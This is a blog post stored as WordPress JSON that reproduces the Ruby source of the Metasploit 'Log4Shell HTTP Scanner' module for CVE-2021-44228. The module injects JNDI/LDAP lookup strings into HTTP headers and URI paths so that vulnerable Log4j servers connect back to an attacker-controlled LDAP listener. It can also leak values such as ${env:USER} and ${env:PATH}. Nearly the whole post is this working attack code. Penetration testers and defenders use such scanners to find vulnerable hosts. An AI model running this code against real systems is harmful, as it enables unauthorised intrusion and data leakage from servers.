{"id":59358,"date":"2024-09-01T20:29:46","date_gmt":"2024-09-01T17:29:46","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181171\/log4shell_scanner.rb.txt"},"modified":"2024-09-01T20:29:46","modified_gmt":"2024-09-01T17:29:46","slug":"log4shell-http-scanner","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/log4shell-http-scanner\/","title":{"rendered":"Log4Shell HTTP Scanner"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::Remote::Log4Shell<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;Log4Shell HTTP Scanner&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration,<br \/>log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints.<\/p>\n<p>This module will scan an HTTP end point for the Log4Shell vulnerability by injecting a format message that will<br \/>trigger an LDAP connection to Metasploit. This module is a generic scanner and is only capable of identifying<br \/>instances that are vulnerable via one of the pre-determined HTTP request injection points. These points include<br \/>HTTP headers and the HTTP request path.<\/p>\n<p>Known impacted software includes Apache Struts 2, VMWare VCenter, Apache James, Apache Solr, Apache Druid,<br \/>Apache JSPWiki, Apache OFBiz.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Spencer McIntyre&#8217;, # The fun stuff<br \/>&#8216;RageLtMan &lt;rageltman[at]sempervictus&gt;&#8217;, # Some plumbing<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;CVE&#8217;, &#8216;2021-44228&#8217; ],<br \/>[ &#8216;CVE&#8217;, &#8216;2021-45046&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/in9sPR2Bzt\/cve-2021-44228-log4shell\/rapid7-analysis&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/logging.apache.org\/log4j\/2.x\/security.html&#8217; ]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2021-12-09&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS],<br \/>&#8216;AKA&#8217; =&gt; [&#8216;Log4Shell&#8217;, &#8216;LogJam&#8217;],<br \/>&#8216;Reliability&#8217; =&gt; []}<br \/>)<\/p>\n<p>register_options([<br \/>OptString.new(&#8216;HTTP_METHOD&#8217;, [ true, &#8216;The HTTP method to use&#8217;, &#8216;GET&#8217; ]),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The URI to scan&#8217;, &#8216;\/&#8217;]),<br \/>OptString.new(&#8216;LEAK_PARAMS&#8217;, [ false, &#8216;Additional parameters to leak, separated by the ^ character (e.g., ${env:USER}^${env:PATH})&#8217;]),<br \/>OptPath.new(<br \/>&#8216;HEADERS_FILE&#8217;,<br \/>[<br \/>false,<br \/>&#8216;File containing headers to check&#8217;,<br \/>File.join(Msf::Config.data_directory, &#8216;exploits&#8217;, &#8216;CVE-2021-44228&#8217;, &#8216;http_headers.txt&#8217;)<br \/>]),<br \/>OptPath.new(<br \/>&#8216;URIS_FILE&#8217;,<br \/>[<br \/>false,<br \/>&#8216;File containing additional URIs to check&#8217;,<br \/>File.join(Msf::Config.data_directory, &#8216;exploits&#8217;, &#8216;CVE-2021-44228&#8217;, &#8216;http_uris.txt&#8217;)<br \/>]),<br \/>OptInt.new(&#8216;LDAP_TIMEOUT&#8217;, [ true, &#8216;Time in seconds to wait to receive LDAP connections&#8217;, 30 ])<br \/>])<br \/>end<\/p>\n<p>def log4j_jndi_string(resource = &#8221;)<br \/>resource = resource.dup<br \/>resource &lt;&lt; &#8216;\/${java:os}\/${sys:java.vendor}_${sys:java.version}&#8217;<br \/># We should add obfuscation to the URL string to scan through lousy &#8220;next-gen&#8221; firewalls<br \/>unless datastore[&#8216;LEAK_PARAMS&#8217;].blank?<br \/>resource &lt;&lt; &#8216;\/&#8217;<br \/>resource &lt;&lt; datastore[&#8216;LEAK_PARAMS&#8217;]end<br \/>super(resource)<br \/>end<\/p>\n<p>#<br \/># Handle incoming requests via service mixin<br \/>#<br \/>def build_ldap_search_response(msg_id, base_dn)<br \/>token, java_os, java_version, uri_parts = base_dn.split(&#8216;\/&#8217;, 4)<br \/>target_info = @mutex.synchronize { @tokens.delete(token) }<br \/>if target_info<br \/>@mutex.synchronize { @successes &lt;&lt; target_info }<br \/>details = normalize_uri(target_info[:target_uri]).to_s<br \/>details &lt;&lt; &#8221; (header: #{target_info[:headers].keys.first})&#8221; unless target_info[:headers].nil?<br \/>details &lt;&lt; &#8221; (os: #{java_os})&#8221; unless java_os.blank?<br \/>details &lt;&lt; &#8221; (java: #{java_version})&#8221; unless java_version.blank?<br \/>unless uri_parts.blank?<br \/>uri_parts = uri_parts.split(&#8216;^&#8217;)<br \/>leaked = &#8221;<br \/>datastore[&#8216;LEAK_PARAMS&#8217;].split(&#8216;^&#8217;).each_with_index do |input, idx|<br \/>next if input == uri_parts[idx]\n<p>leaked &lt;&lt; &#8220;#{input}=#{uri_parts[idx]} &#8220;<br \/>end<br \/>unless leaked.blank?<br \/>details &lt;&lt; &#8221; (leaked: #{leaked.rstrip})&#8221;<br \/>vprint_good(&#8220;Leaked data: #{leaked.rstrip}&#8221;)<br \/>end<br \/>end<br \/>peerinfo = &#8220;#{target_info[:rhost]}:#{target_info[:rport]}&#8221;<br \/>print_good(&#8220;#{peerinfo.ljust(21)} &#8211; Log4Shell found via #{details}&#8221;)<br \/>report_vuln(<br \/>host: target_info[:rhost],<br \/>port: target_info[:rport],<br \/>info: &#8220;Module #{fullname} detected Log4Shell vulnerability via #{details}&#8221;,<br \/>name: name,<br \/>refs: references<br \/>)<br \/>end<\/p>\n<p>attrs = [ ]appseq = [<br \/>base_dn.to_ber,<br \/>attrs.to_ber_sequence<br \/>].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)<br \/>[ msg_id.to_ber, appseq ].to_ber_sequence<br \/>end<\/p>\n<p>def rand_text_alpha_lower_numeric(len, bad = &#8221;)<br \/>foo = []foo += (&#8216;a&#8217;..&#8217;z&#8217;).to_a<br \/>foo += (&#8216;0&#8217;..&#8217;9&#8242;).to_a<br \/>Rex::Text.rand_base(len, bad, *foo)<br \/>end<\/p>\n<p>def run<br \/>validate_configuration!<br \/>@mutex = Mutex.new<br \/>@mutex.extend(::Rex::Ref)<\/p>\n<p>@tokens = {}<br \/>@tokens.extend(::Rex::Ref)<\/p>\n<p>@successes = []@successes.extend(::Rex::Ref)<\/p>\n<p>begin<br \/>start_service<br \/>rescue Rex::BindFailed =&gt; e<br \/>fail_with(Failure::BadConfig, e.to_s)<br \/>end<\/p>\n<p>super<\/p>\n<p>print_status(&#8220;Sleeping #{datastore[&#8216;LDAP_TIMEOUT&#8217;]} seconds for any last LDAP connections&#8221;)<br \/>sleep datastore[&#8216;LDAP_TIMEOUT&#8217;]\n<p>if @successes.empty?<br \/>return Exploit::CheckCode::Unknown<br \/>end<\/p>\n<p>Exploit::CheckCode::Vulnerable(details: @successes)<br \/>end<\/p>\n<p>def run_host(ip)<br \/># probe the target before continuing<br \/>return if send_request_cgi(&#8216;uri&#8217; =&gt; normalize_uri(target_uri)).nil?<\/p>\n<p>run_host_uri(ip, normalize_uri(target_uri)) unless target_uri.blank?<\/p>\n<p>return if datastore[&#8216;URIS_FILE&#8217;].blank?<\/p>\n<p>File.open(datastore[&#8216;URIS_FILE&#8217;], &#8216;rb&#8217;).each_line(chomp: true) do |uri|<br \/>next if uri.blank? || uri.start_with?(&#8216;#&#8217;)<\/p>\n<p>if uri.include?(&#8216;${jndi:uri}&#8217;)<br \/>token = rand_text_alpha_lower_numeric(8..32)<br \/>jndi = log4j_jndi_string(token)<br \/>uri.delete_prefix!(&#8216;\/&#8217;)<br \/>test(token, uri: normalize_uri(target_uri, &#8221;) + uri.gsub(&#8216;${jndi:uri}&#8217;, Rex::Text.uri_encode(jndi)))<br \/>else<br \/>run_host_uri(ip, normalize_uri(target_uri, uri))<br \/>end<br \/>end<br \/>end<\/p>\n<p>def run_host_uri(_ip, uri)<br \/># HTTP_HEADER isn&#8217;t exposed via the datastore but allows other modules to leverage this one to test a specific value<br \/>unless datastore[&#8216;HTTP_HEADER&#8217;].blank?<br \/>token = rand_text_alpha_lower_numeric(8..32)<br \/>test(token, uri: uri, headers: { datastore[&#8216;HTTP_HEADER&#8217;] =&gt; log4j_jndi_string(token) })<br \/>end<\/p>\n<p>unless datastore[&#8216;HEADERS_FILE&#8217;].blank?<br \/>headers_file = File.open(datastore[&#8216;HEADERS_FILE&#8217;], &#8216;rb&#8217;)<br \/>headers_file.each_line(chomp: true) do |header|<br \/>next if header.blank? || header.start_with?(&#8216;#&#8217;)<\/p>\n<p>token = rand_text_alpha_lower_numeric(8..32)<br \/>test(token, uri: uri, headers: { header =&gt; log4j_jndi_string(token) })<br \/>end<br \/>end<\/p>\n<p>token = rand_text_alpha_lower_numeric(8..32)<br \/>jndi = log4j_jndi_string(token)<br \/>test(token, uri: normalize_uri(uri, Rex::Text.uri_encode(jndi.gsub(&#8216;ldap:\/\/&#8217;, &#8216;ldap:${::-\/}\/&#8217;)), &#8216;\/&#8217;))<\/p>\n<p>token = rand_text_alpha_lower_numeric(8..32)<br \/>jndi = log4j_jndi_string(token)<br \/>test(token, uri: normalize_uri(uri, Rex::Text.uri_encode(jndi.gsub(&#8216;ldap:\/\/&#8217;, &#8216;ldap:${::-\/}\/&#8217;))))<br \/>end<\/p>\n<p>def test(token, uri: nil, headers: nil)<br \/>target_info = {<br \/>rhost: rhost,<br \/>rport: rport,<br \/>target_uri: uri,<br \/>headers: headers<br \/>}<br \/>@mutex.synchronize { @tokens[token] = target_info }<\/p>\n<p>send_request_raw(<br \/>&#8216;uri&#8217; =&gt; uri,<br \/>&#8216;method&#8217; =&gt; datastore[&#8216;HTTP_METHOD&#8217;],<br \/>&#8216;headers&#8217; =&gt; headers<br \/>)<br \/>end<\/p>\n<p>attr_accessor :mutex, :tokens, :successes<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliary include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::Log4Shellinclude Msf::Auxiliary::Scanner def initializesuper(&#8216;Name&#8217; =&gt; &#8216;Log4Shell HTTP Scanner&#8217;,&#8216;Description&#8217; =&gt; %q{Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration,log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints. This module &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59358","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59358","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59358"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59358\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59358"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59358"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59358"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}